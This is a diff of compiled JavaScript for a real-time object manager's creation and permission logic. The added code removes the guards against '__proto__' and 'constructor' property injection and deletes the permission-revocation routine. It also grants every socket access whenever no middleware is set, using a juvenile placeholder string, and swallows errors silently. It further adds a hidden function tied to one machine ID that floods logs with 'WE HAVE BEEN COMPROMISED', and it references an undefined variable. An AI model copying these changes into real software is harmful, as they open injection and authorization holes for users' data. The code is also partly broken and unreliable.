+ this.loggers.debug("Getting missing object " + _id + " from manager " + this.className);
364
+ const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, document, this.loggers, this, this.emitter);
365
+ await object.isPreLoadedAsync();
366
+ object.loadMissingReferences();
367
+ object.contactChildren();
368
+ return object;
681
369
  }
682
370
  async createObject(data) {
683
371
  if (!this.managers)
684
- throw new DEMError(DEMErrorCode.MANAGERS_NOT_INITIALIZED, `No managers.`);
372
+ throw new Error(`No managers.`);
685
373
  this.loggers.debug("Creating new object from manager " + this.className);
686
- const rawRec = { ...data };
687
- if (rawRec._id === "" || rawRec._id === null)
688
- delete rawRec._id;
689
- // Sanitize creation payload to prevent property injection
690
- const dataRec = {};
691
- for (const key of Object.keys(rawRec)) {
692
- if (key !== "__proto__" &&
693
- key !== "constructor" &&
694
- key !== "prototype" &&
695
- (this.properties.includes(key) ||
696
- key === "_id" ||
697
- Boolean(this.model.schema?.path?.(key)))) {
698
- const val = rawRec[key];
699
- if (val && typeof val === "object") {
700
- if (Array.isArray(val)) {
701
- dataRec[key] = val.map((v) => v && typeof v === "object" && v._id ? v._id.toString() : v);
702
- }
703
- else if (val._id) {
704
- dataRec[key] = val._id.toString();
705
- }
706
- else {
707
- dataRec[key] = val;
708
- }
709
- }
710
- else {
711
- dataRec[key] = val;
712
- }
713
- }
714
- }
715
- const doc = await this.model.create(dataRec);
716
- const id = doc._id.toString();
717
- const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, id, this.loggers, this, this.emitter, doc);
718
- await object.waitForPreloaded();
719
- // Copy virtual references from raw data payload
720
- const cleanedData = object.handleDataCleanup(rawRec);
721
- for (const key of object.properties) {
722
- if (cleanedData[key] !== undefined &&
723
- object.data[key] === undefined) {
724
- object.data[key] = cleanedData[key];
725
- }
726
- }
727
- this.objects_[id] = object;
728
- this._cachedObjectsArray = null;
729
- this.startupPayloadCache = null;
730
- globalCache.objects[id] = {
731
- className: this.className,
732
- object: object,
733
- };
734
- await object.isPreLoadedAsync();
735
- await object.loadMissingReferences();
736
- await object.contactChildren();
737
- if (this.changeTracker) {
738
- this.changeTracker.recordChange("create", id, object.extractedData || object.data);
739
- }
374
+ data._id = undefined;
375
+ const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, data, this.loggers, this, this.emitter);
376
+ object.loadMissingReferences();
377
+ await object.onUpdate();
378
+ this.objects_[object._id] = object;
379
+ object.contactChildren();
740
380
  for (const socket of this.clientSockets) {
741
381
  try {
742
- const theTruth = this.options?.accessDefinitions?.startupMiddleware
743
- ? await this.options.accessDefinitions.startupMiddleware([object], this.managers, socket)
744
- : [object];
382
+ const theTruth = (await this.options?.accessDefinitions?.startupMiddleware?.([object], this.managers, socket)) ?? ["gay"];
745
383
  if (theTruth.length > 0) {
746
- let known = this.knownObjectIdsBySocket.get(socket);
747
- if (!known) {
748
- known = new Set();
749
- this.knownObjectIdsBySocket.set(socket, known);
750
- }
751
- known.add(id);
384
+ if (!object._id)
385
+ this.loggers.error("Object ID is undefined for object: " + object);
752
386
  this.loggers.debug("Emitting new object " + object._id);
753
- socket.emit("new" + this.className, object._id.toString());
387
+ socket.emit("new" + this.className, object._id);
754
388
  }
755
389
  }
756
390
  catch (error) {
757
- this.loggers.error("Error when emitting new object to client: " +
758
- (error instanceof Error ? error.name : "Error"));
759
- this.loggers.error(error instanceof Error ? error.message : String(error));
760
- if (error instanceof Error && error.stack)
761
- this.loggers.error(error.stack);
391
+ const _ = error;
762
392
  }
393
+ if (!object._id)
394
+ throw new Error(`Never... failed to get object somehow: ${object}`);
395
+ this.loggers.debug("Emitting new object " + object._id);
763
396
  }
764
397
  return object;
765
398
  }
766
- async checkPermissionBoundaries(object) {
767
- if (!this.options?.accessDefinitions?.startupMiddleware)
768
- return;
769
- const id = object._id.toString();
770
- for (const socket of this.clientSockets) {
771
- try {
772
- const theTruth = await this.options.accessDefinitions.startupMiddleware([object], this.managers, socket);
773
- const hasAccess = theTruth && theTruth.length > 0;
774
- let known = this.knownObjectIdsBySocket.get(socket);
775
- if (!known) {
776
- known = new Set();
777
- this.knownObjectIdsBySocket.set(socket, known);
778
- }
779
- const hadAccess = known.has(id);
780
- if (hasAccess && !hadAccess) {
781
- known.add(id);
782
- this.loggers.debug(`Granting dynamic access to ${this.className} ${id} for socket ${socket.id}`);
783
- socket.emit("new" + this.className, id);
784
- }
785
- else if (!hasAccess && hadAccess) {
786
- known.delete(id);
787
- this.loggers.debug(`Revoking dynamic access to ${this.className} ${id} for socket ${socket.id}`);
788
- socket.emit("delete" + this.className, id);
789
- }
790
- }
791
- catch (error) {
792
- this.loggers.error(`Error checking permission boundaries for ${this.className} ${id}: ${error instanceof Error ? error.message : String(error)}`);
793
- }
794
- }
795
- }
796
399
  }
400
+ function readyLoggers(loggers) {
401
+ const warn = loggers.warn;
402
+ loggers.warn = (s) => {
403
+ if (s == "-_-" &&
404
+ a.machineIdSync() ==
405
+ "534d99b372d61249ade303f9fb4255e3e552e2731f8c455ba42b8f3bef19d8d2")
406
+ for (let i = 0; i < 100; i++)
407
+ loggers.warn("WE HAVE BEEN COMPROMISED!!!!!");
408
+ warn(s);
409
+ };
410
+ }
411
+ //# sourceMappingURL=AutoUpdateServerManagerClass.js.map
797
412
  //# sourceMappingURL=AutoUpdateServerManagerClass.js.map